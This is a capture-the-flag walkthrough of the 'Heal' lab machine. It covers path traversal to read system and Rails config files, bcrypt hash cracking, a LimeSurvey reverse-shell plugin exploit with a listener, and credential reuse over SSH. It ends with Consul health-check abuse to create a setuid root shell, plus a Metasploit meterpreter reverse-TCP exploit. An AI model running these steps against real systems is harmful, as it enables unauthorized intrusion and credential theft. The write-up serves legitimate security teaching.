# Heal

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FTrgzwCbYYVV8EYv18zz3%2Fimage.png?alt=media&#x26;token=54d6cd99-da0f-4177-951d-42048d2bc387" alt=""><figcaption></figcaption></figure>

## Port Scan

We always begin by scanning for open ports to identify services exposed by the target. For this, I used **RustScan,** a faster alternative to Nmap that works well for large port ranges. Once it identifies the open ports, we feed them to Nmap to get detailed service and version information.

```javascript
rustscan -a 10.10.11.46 -- -A

Open 10.10.11.46:22
Open 10.10.11.46:80


22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
|   256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
```

An initial Nmap scan detects an **SSH** service running on port **22** and a **nginx web server** on port\
**80** .

To access the webapp we have to add it to our /etc/hosts file

```bash
sudo echo "10.10.11.46 heal.htb"| sudo tee -a /etc/hosts
```

The first page is a normal login page but we dont have an account so lets create one

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FFoY7dHwQ1NksLvNlSSTW%2Fimage.png?alt=media&#x26;token=57fe61da-2be1-45d7-887d-1693c28fd397" alt=""><figcaption><p>Login Page</p></figcaption></figure>

Creating an account we get an error saying **`something went wrong`** which is weird

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2Fm381CAFnYTyPkXIa8yWp%2Fimage.png?alt=media&#x26;token=b323f6f4-ac51-4e69-91f4-f1a48d1a01f7" alt=""><figcaption><p>Signup page</p></figcaption></figure>

A good habit to develope is look at the requests in burp and track everything from there. from the request Header Host we can see a subdomain called **`api.heal.htb`** we dont have this subdomain in our /etc/hosts file hence the error occured

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FGSXJGaobmWPi2FMJ3OKn%2Fimage.png?alt=media&#x26;token=ccfa6c9a-437d-4e5e-aff7-01e6242183d5" alt=""><figcaption><p>new subdomain found</p></figcaption></figure>

so we also add it to /etc/hosts and try to sign up again

```bash
sudo echo "10.10.11.46 api.heal.htb"| sudo tee -a /etc/hosts
```

Since we found a new subdomain its worth taking a look at it before we conitune.

we find that the application is built on&#x20;

* **ruby rails version 7.1.4** &#x20;
* r**uby version 3.3.5.**

take note of that since it's always good to take note of versions and in a real engagements this counts as a finding especially if they’re outdated or known to be vulnerable

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FZvHf2WCaXGWXyrV1vNDA%2Fimage.png?alt=media&#x26;token=aeb48a32-c268-4df6-a18c-f73d91f4f4ae" alt=""><figcaption><p>api.heal.htb ruby rails page</p></figcaption></figure>

Coming back to the main domain, we find a normal resume builder page that asks for some basic information.

After filling out the form, there's a button to download the resume as a PDF.&#x20;

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FTy0dhN5pA7y089Q3WAE2%2Fimage.png?alt=media&#x26;token=bbb1511c-0004-49ce-a276-2a54730a1bfc" alt=""><figcaption><p>Resume builder page</p></figcaption></figure>

## Shell as www-data

Again we have to look at each function in burp to analyze the request. here we find that the server sends an OPTIONS request to&#x20;

```http
/download?filename=resume.pdf
```

This stands out immediately. A `filename` parameter in the URL that isn’t sanitized or validated is a classic signal for **Path Traversal**. Let’s test for that.

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FMG9FDl9OZxd3j35roxhm%2Fimage.png?alt=media&#x26;token=f07954c2-9549-474a-84b0-b0ee8d703760" alt=""><figcaption><p>Default pdf download</p></figcaption></figure>

But the response comes back with an error: **"Invalid token"**.&#x20;

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FrjBNGL6XxyQ2f82WwDdt%2Fimage.png?alt=media&#x26;token=3cffb160-909f-4381-945c-23ee4e7f2c35" alt=""><figcaption><p>File read to /etc/passwd</p></figcaption></figure>

Looking at previous successful requests, we spot the **Authorization Bearer token**. We resend the Path Traversal request with the same token added to the headers.

We now get the contents of `/etc/passwd`, which confirms an Path Traversal vulnerability.

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FL2xKjwdwxmpMd2eBEnSY%2Fimage.png?alt=media&#x26;token=091715ce-a31b-4057-9134-82422edc0950" alt=""><figcaption><p>File read to /etc/passwd working</p></figcaption></figure>

```javascript
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
avahi:x:114:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash
```

From the /etc/passwd file, we can find some usernames such as&#x20;

```
ralph
ron
```

Now that we know the app is Ruby on Rails, and we have Path Traversal, the next logical step is to extract application files. Let’s start with the **Gemfile**.

#### What is the Gemfile?

* In Ruby on Rails applications, the `Gemfile` defines all the libraries (called "gems") the app depends on. It’s usually found in the project’s root directory.

Using our Path Traversal endpoint again:&#x20;

```
/download?filename=../../Gemfile
```

We get:

```ruby
source "https://rubygems.org"

ruby "3.3.5"

# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 7.1.3", ">= 7.1.3.4"

# Use sqlite3 as the database for Active Record
gem "sqlite3", "~> 1.4"
gem 'jwt'
gem 'bcrypt', '~> 3.1.7'
gem 'imgkit'
gem 'rack-cors'
gem 'rexml'

[** SNIP **]

```

This confirms the app is using:

* **SQLite3** (not a server-client database, but a file-based DB)
* **JWT and bcrypt**, used to create the cookies
* **imgkit**, related to the resume PDF generation

The `sqlite3` gem is the most important clue here, as it suggests the app stores its database in a local file. Let’s try to find where.

#### Database.yml

In Rails, the `config/database.yml` file tells us where the database files live.&#x20;

Using our Path Traversal again:

```
/download?filename=../../config/database.yml
```

We get:

```
# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

```

And there it is. The SQLite database is stored at: **`storage/development.sqlite3`**

This file likely contains all user data, including emails, password hashes, tokens, and potentially session data.

```javascript
/download?filename=../../storage/development.sqlite3
```

From the output, we find a username and a hash

```javascript
Username: ralph@heal.htb
Hash: $2a$12$sduZ/o7kJT3.zE4TOK8p4RuxH3t.Bz45DsR7A94VLvY9SwxIGCSZnG
```

let's try cracking it using John

<pre><code> john -w=/usr/share/wordlists/rockyou.txt hash.txt
 
 Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<a data-footnote-ref href="#user-content-fn-1">147258369</a> (?)
1g 0:00:00:13 DONE (2025-05-14 22:52) 0.07462g/s 37.61p/s 37.61c/s 37.61C/s
teiubesc..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
</code></pre>

We continue to enumerate the web application and spot a feature named **“Survey”**. Attempting to access it redirects us to a new subdomain:

```
take-survey.heal.htb
```

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FV1iNTBVQKewIn5d3qvaG%2Fimage.png?alt=media&#x26;token=1e9a41b6-1a43-4793-89e1-82b1bc301717" alt=""><figcaption><p>new subdomain take-survey.heal.htb</p></figcaption></figure>

Since this subdomain is unknown to our machine, we register it locally:

```bash
sudo echo "10.10.11.46 take-survey.heal.htb"| sudo tee -a /etc/hosts
```

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2Fx2oQXCevukcyyDf6r1qS%2Fimage.png?alt=media&#x26;token=fe75fb4b-756f-4407-9216-c872d0921db9" alt=""><figcaption></figcaption></figure>

Now, accessing `http://take-survey.heal.htb`, we explore the page source and identify the platform powering it: **LimeSurvey**.

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FjMV7v6GUfEi0GfOprTtf%2Fimage.png?alt=media&#x26;token=217be1a9-3f72-4f58-a306-d41685ad6a97" alt=""><figcaption><p>found limesurvery</p></figcaption></figure>

According to [LimeSurvey documentation](https://www.limesurvey.org/manual/Installation_-_LimeSurvey_CE), the default admin panel is available at `/admin`. Checking `http://take-survey.heal.htb/admin`, we are greeted with a login page. Let’s try the credentials we previously found:

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FCcCj9TAUwAypPwSDmMaq%2Fimage.png?alt=media&#x26;token=e80bf1f4-3a31-4b46-83ab-723efdb364d5" alt=""><figcaption><p>Lime survey login</p></figcaption></figure>

lets try logging in using the username and password we have&#x20;

```markdown
ralph:147258369
```

We’re now logged into the **LimeSurvey admin panel**.&#x20;

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FUoFOgt8oaSDqFQNciYjF%2Fimage.png?alt=media&#x26;token=3a063612-d4ee-437b-927d-6f9611cd94de" alt=""><figcaption><p>lime survey main page</p></figcaption></figure>

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FfQeimOSPxyCg6u0KOxav%2Fimage.png?alt=media&#x26;token=a4f299c4-50f5-4a21-8ce3-a63433e26a9e" alt=""><figcaption></figcaption></figure>

Navigating to the **Configuration → Plugins** reveals that we can **upload a plugin**. That’s a juicy attack surface—especially when combined with a known version. and as we can see, it runs on version 6.4.4 so all we're missing is the payload.

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2F92prqZ7Qt6cuOXbnCJtC%2Fimage.png?alt=media&#x26;token=89738257-5721-47e6-a039-efbd46559118" alt=""><figcaption><p>limesurvey Plugin page</p></figcaption></figure>

A quick GitHub search turns up a plugin-based reverse shell exploit specifically crafted for LimeSurvey. After cloning the repo, don’t forget to edit the `revshell.php` file to set your IP and port for the callback.

And of course ready your netcat at the port you chose

```javascript
python exploit.py http://take-survey.heal.htb/ ralph 147258369 80
```

We now have a basic shell:

<pre class="language-bash"><code class="lang-bash"><a data-footnote-ref href="#user-content-fn-1">ncat -lnvp 1337</a>
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.46:41004.
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 16:23:26 up 1 day,  1:22,  0 users,  load average: 0.00, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre>

now you might see the shell is very unstable and extremly limited to upgrade it we can do the following

```bash
python3 -c "import pty;pty.spawn('/bin/bash')"
# Then press CTRL+Z to background the shell
CTRL+Z
stty raw -echo; fg
export TERM=xterm
```

## Shell as ron

With shell access, we explore the LimeSurvey directory and locate the main config file:

```php
cat /var/www/html/limesurvey/application/config/config.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),

  [** SNIP **]
```

in the config file, we see the db password

```
AdmiDi0_pA$$w0rd
```

Since the `/etc/passwd` file (from earlier Path Traversal) listed `ron` as a user, let’s attempt an SSH login using the PostgreSQL password as Ron's system password:

```
ssh ron@heal.htb
ron@heal.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)

Last login: Sat May 24 20:37:29 2025 from 10.10.14.167
ron@heal:~$ ls
user.txt
```

## PrivEsc

After gaining access, our first step is to enumerate open services:

```javascript
ss -tnlp
State     Recv-Q     Send-Q     Local Address:Port
LISTEN     0          4096         127.0.0.1:8500
LISTEN     0          4096         127.0.0.1:8503
LISTEN     0          4096         127.0.0.1:8600
LISTEN     0          4096         127.0.0.1:8301
LISTEN     0          4096         127.0.0.1:8300
LISTEN     0          4096         127.0.0.1:8302
LISTEN     0          1024         127.0.0.1:3001
LISTEN     0          511          127.0.0.1:3000
LISTEN     0          511          0.0.0.0:http
LISTEN     0          128          0.0.0.0:ssh
LISTEN     0          244          127.0.0.1:postgresql
LISTEN     0          4096         127.0.0.53%lo:domain
LISTEN     0          128          [::]:ssh
```

We observed the following unusual open ports:

```
8500, 8503, 8600, 8301, 8300, 8302 
```

These ports are strongly associated with **HashiCorp Consul**, a popular tool for service discovery and configuration in microservice environments.

to confirm that we can use&#x20;

```javascript
systemctl status consul.service
● consul.service - Consul Service Discovery Agent
     Loaded: loaded (/etc/systemd/system/consul.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2025-05-24 15:04:46 UTC; 1 day 3h ago
   Main PID: 1742 (consul)
```

#### But hey, what even is Consul ?

**Consul** is an open-source tool by HashiCorp that helps services in your infrastructure automatically find and communicate with each other. It provides service discovery, health checks, and secure communication—making it easier to manage microservices and distributed systems.

Since Consul is only accessible locally (`127.0.0.1:8500`), we need to **port forward** to access it through our machine:

```bash
 ssh -L 8500:127.0.0.1:8500 ron@heal.htb
```

Now we can access the UI via:\
<http://localhost:8500>

Upon visiting the UI we see some services running, also we note that the Consul version is **1.19.2**.

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FOThlnf9CT43IUjnGmQOS%2Fimage.png?alt=media&#x26;token=dc629b0d-db5c-4f72-bccd-7018d6b6a5fa" alt=""><figcaption></figcaption></figure>

Visiting the [Consul documentation](https://developer.hashicorp.com/consul/api-docs/agent/service) and read a bit to understand how to work with this api. we note that the service list is typicly listed in **`/v1/agent/services`**

```json
{"database":{"ID":"database","Service":"PostgreSQL","Tags":[],"Meta":
 {},"Port":5432,"Address":"127.0.0.1","TaggedAddresses":{"lan_ipv4":
 {"Address":"127.0.0.1","Port":
 5432},"wan_ipv4":{"Address":"127.0.0.1","Port":5432}},"Weights":
 {"Passing":1,"Warning":1},"EnableTagOverride":false,"Datacenter":"server1"},"serv
 ice-3000":{"ID":"serv
 ice-3000","Service":"Heal React APP","Tags":[],"Meta":
 {},"Port":3000,"Address":"127.0.0.1","TaggedAddresses":{"lan_ipv4":
 {"Address":"127.0.0.1","Port":3000},"wan_ipv4
 ":{"Address":"127.0.0.1","Port":3000}},"Weights":
 {"Passing":1,"Warning":1},"EnableTagOverride":false,"Datacenter":"server1"},"serv
 ice-3001":{"ID":"service-3001","Serv
 ice":"Ruby API service","Tags":[],"Meta":
 {},"Port":3001,"Address":"127.0.0.1","TaggedAddresses":{"lan_ipv4":
 {"Address":"127.0.0.1","Port":3001},"wan_ipv4":{"Address":
 "127.0.0.1","Port":3001}},"Weights":
 {"Passing":1,"Warning":1},"EnableTagOverride":false,"Datacenter":"server1"}}
```

We Continue reading the [Consul documentation](https://developer.hashicorp.com/consul/api-docs/agent/service) and learn that we can register a new **health check** or **service** via an HTTP `PUT` request. If the **Consul agent is running as root**, and our HTTP call triggers a script execution, **our script will also run as root**..

So, we prepare a shell script to:

1. Copy `/bin/bash` to `/tmp/shell`.
2. Set the **setuid** bit on `/tmp/shell` to run it as **root** later.

```bash
ron@heal:/ nano /tmp/rev.sh

#!/bin/bash
 cp /bin/bash /tmp/shell; chmod +s /tmp/shell
 
 ron@heal:/ chmod +x /tmp/rev.sh
```

* `#!/bin/bash`\
  This specifies that the script should be run with Bash.
* `cp /bin/bash /tmp/shell`\
  This copies the system’s `bash` binary (the shell executable) to `/tmp/shell`.
* `chmod +s /tmp/shell`\
  sets the **setuid** bit. This means when you run `/tmp/shell`, it will run as **the owner of the file**—which in this case, is **root**.
* `chmod +x /tmp/rev.sh`\
  Make it executable.

{% hint style="info" %}
to understand more about the setuid bit check this out ⬇️
{% endhint %}

{% content-ref url="../methodologies-and-resources/post-exploitation" %}
[post-exploitation](https://kruknight.gitbook.io/daemon-of-hacking/methodologies-and-resources/post-exploitation)
{% endcontent-ref %}

Now that our shell is ready lets register it on the server, for this we can use this curl command

```bash
curl -X PUT http://localhost:8500/v1/agent/check/register \
  -H "Content-Type: application/json" \
  -d '{
    "ID": "rce",
    "Name": "shell service",
    "Shell": "/bin/bash",
    "Interval": "5s",
    "Args": ["/tmp/rev.sh", ""]
  }'

```

* `curl -X PUT http://localhost:8500/v1/agent/check/register`\
  Makes a **PUT request** to the Consul agent API to register a new health check.
* `-H "Content-Type: application/json"`\
  Tells the API the data is in JSON format.
* `-d '{ ... }'`\
  The JSON payload describes the new health check:
  * `"ID":"rce"`\
    The unique ID of the check.
  * `"Name":"shell service"`\
    The name of the check.
  * `"Shell":"/bin/bash"`\
    Specifies `/bin/bash` as the shell to run the command.
  * `"Interval":"5s"`\
    Run the check every 5 seconds.
  * `"Args":["/tmp/rev.sh",""]`\
    The arguments: here, it tries to run `/tmp/rev.sh`.

After 5 seconds we can list the files of the **`/tmp`** file and see a new file called shell

```bash
ron@heal:~$ ls /tmp
rev.sh
shell
```

Running this file will grant us a new shell but this time with root access

We add `-p` to preserve privileges and invoke a root shell:

```bash
ron@heal:/tmp$ ./shell -p
shell-5.1# id
uid=1001(ron) gid=1001(ron) euid=0(root) egid=0(root) groups=0(root),1001(ron)
shell-5.1# cat /root/root.txt
```

## PrivEsc the easy way

Since we now know consul version is 1.19.2 we look for known exploits on exploitdb and github

searching on metasploit we find an exploit for conusl on that version so we go ahead and use it

```javascript
msfconsole -q
msf6 > use multi/misc/consul_service_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/misc/consul_service_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > check
[+] 127.0.0.1:8500 - The target is vulnerable.
msf6 exploit(multi/misc/consul_service_exec) > run
[*] Started reverse TCP handler on 10.10.16.132:4444 
[*] Creating service 'BkFpXlN'
[*] Service 'BkFpXlN' successfully created.
[*] Waiting for service 'BkFpXlN' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.46
[*] Meterpreter session 1 opened (10.10.16.132:4444 -> 10.10.11.46:57142) at 2025-05-25 22:54:20 -0400
[*] Removing service 'BkFpXlN'
[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter > getuid
Server username: root
meterpreter > cat /root/root.txt
```

{% hint style="info" %}
Just becasue the metasploit way is easier doesnt mean it's wrong. always remember that hacking is about finding the easiest way to achive your goal not the most complex one 😉
{% endhint %}

## Summary of Full Attack Chain

| Stage             | Action Taken                          |
| ----------------- | ------------------------------------- |
| Recon             | Nmap identifies SSH + Web             |
| Web Exploitation  | Ruby on Rails → Path Traversal        |
| Loot Config Files | Extracted secrets from config files   |
| User Shell        | SSH access as `ron`                   |
| PrivEsc Recon     | Found localhost-bound Consul services |
| Pivoting          | Port forward 8500 → local             |
| Exploit           | Consul v1.19.2 → RCE via Metasploit   |
| Root Shell        | Reverse shell opens as root           |
| Read Flag         | Read `/root/root.txt`                 |

{% @mermaid/diagram content="flowchart TD
A\[Path Traversal discovered in Rails] --> B\[Enumerate sensitive files via Path Traversal]
B --> C\[Enumerate sensitive files via Path Traversal]
C --> D\[Find credentials in configuration files]
D --> E\[Access LimeSurvey at new subdomain]
E --> F\[Login to LimeSurvey admin panel using credentials]
F --> G\[Upload malicious plugin - reverse shell]
G --> H\[Gain initial shell as www-data]
H --> I\[Read LimeSurvey config to extract PostgreSQL credentials]
I --> J\[Reuse credentials for SSH as user ron]
J --> K\[Enumerate local open ports and identify Consul on port 8500]
K --> L\[Port-forward Consul service using SSH]
L --> M\[Identify Consul version 1.19.2]
M --> N\[Exploit Consul to get root access]

```
style A fill:#ff6b6b,stroke:#fff,stroke-width:2px
style N fill:#4ecdc4,stroke:#fff,stroke-width:2px
style G fill:#ffa726,stroke:#fff,stroke-width:2px
style H fill:#66bb6a,stroke:#fff,stroke-width:2px
```

" %}

[^1]:
